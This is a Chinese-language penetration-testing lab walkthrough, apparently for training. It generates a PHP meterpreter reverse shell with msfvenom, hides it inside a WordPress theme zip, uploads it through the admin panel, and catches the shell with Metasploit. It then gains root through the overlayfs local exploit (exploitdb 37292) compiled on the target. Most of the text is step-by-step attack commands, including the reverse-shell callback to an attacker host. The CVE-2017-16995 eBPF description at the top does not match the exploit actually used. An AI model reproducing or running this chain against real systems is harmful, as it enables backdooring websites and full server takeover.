漏洞描述
Ubuntu是一个以桌面应用为主的开源GNU/Linux操作系统,基于Debian GNU/Linux 。近期有白帽子爆出 ubuntu 的最新版本(Ubuntu 16.04)存在本地提权漏洞,漏洞编号为CVE-2017-16995。该漏洞存在于调用eBPF bpf(2)的Linux内核系统中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题, 低权限用户可使用此漏洞获得管理权限。
第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Kali Linux
Linux
第二步,通过上传包含PHP后门的主题文件包(文件路径为/root/easy-store.1.0.8.zip)实现远程控制,使用之前成功获取到的网站管理后台的用户名和密码登录管理页面
输入firefox命令来打开火狐浏览器,然后在地址栏里输入靶机的地址http://172.16.1.200:8080/wordpress/wp-login.php访问网页,
第三步,上传页面的查找的具体步骤就不再演示,在仪表盘中选择外观,然后选择添加
选择上传主题按钮
点击后将会跳转到如下页面中
下面的步骤需要我们生成一个zip格式的shell木马并上传到页面中。
第四步,在Kali渗透机中,使用命令msfvenom -p php/meterpreter_reverse_tcp LHOST=172.16.1.100 LPORT=1688 -f raw -o shellx.php来生成反弹shell的php格式木马,直接以 raw 的形式保存成文件,具体生成命令如下
在准备上传后门到被测主机之前,首先要删除脚本前面的注释。准备否则后门将会无效。如下为删除注释的部分源码:
在Kali渗透机中找到位于root目录下的主题文件easy-store.1.0.8.zip,使用命令unzip easy-store.1.0.8.zip将其解压到当前目录中,
接下来是最重要的一步,使用命令mv shellx.php easy-store/将shellx.php移动到该目录下,最后使用命令zip -r easy-store.zip easy-store/*创建压缩包文件
然后使用命令msfconsole打开metasploit渗透测试平台,
使用命令use exploit/multi/handler调用后门模块进行利用,然后使用命令set payload php/meterpreter_reverse_tcp设置该模块所使用的payload载荷为php反弹shell载荷,填充完整必须要配置的参数(LHOST、LPORT),最后使用命令exploit启动对1688端口进行监听。
开启监听后我们回到火狐浏览器中,点击Browse… 选择刚刚创建的主题easy-store.zip,选择现在安装,
出现以下的提示:Theme Installed successfully.则表示插件安装成功,
第五步,上传成功后,我们可以通过访问/wp-content/themes/[主题名]/[PHP木马文件名],注意若页面访问成功后会一直处于Connecting…的状态,如下:
接下来通过msf的handler我们就可以成功连接上去。
使用命令getuid查看当前用户权限
发现当前获取到用户权限为系统账户daemon,使用shell打开命令终端,尝试切换到root目录下。
发现用户daemon没有读取root目录的权限,
第六步,我们接下来进行提权,提升"daemon"的权限到"root",获取到低权限的shell后我们通常做下面几件事:
1.检测操作系统的发行版本;2.查看内核版本信息;3.检测当前用户的权限;4.列举出所有suid文件;5.查看已经安装的包,程序以及运行的服务,是否存在有过期漏洞版本可以被利用。那么我们根据提权的基本流程,来完成下面的实验。首先使用命令lsb_release -a查看系统发行的版本。
同时使用命令uname -a查看内核版本信息
针对以上所列出的信息,我们知道了目标靶机的操作系统是Ubuntu 14.04.4 LTS,内核版本为3.13.0-45-generic,接下来我们尝试的第一种方法:使用常规的溢出漏洞overlayfs,支持ubuntu 12.04/14.04/14.10/15.04和内核版本大于3.13.0小于3.19。
使用命令searchspolit overlayfs ubuntu local搜索中关键字overlayfs的ubuntu本地提权利用漏洞的源码:
第七步,复制/usr/share/exploitdb/exploits/linux/local/37292.c至/root目录,进入Meterpreter命令行,使用命令upload 37292.c将该exp上传至靶机,最后使用命令shell打开靶机的终端,
使用命令gcc -o overlayfs 37292.c编译exp并执行,然后使用命令chmod 777 overlayfs 给exp进行赋权,
最后使用命令./overlayfs进行提权,最终获得靶机最高权限,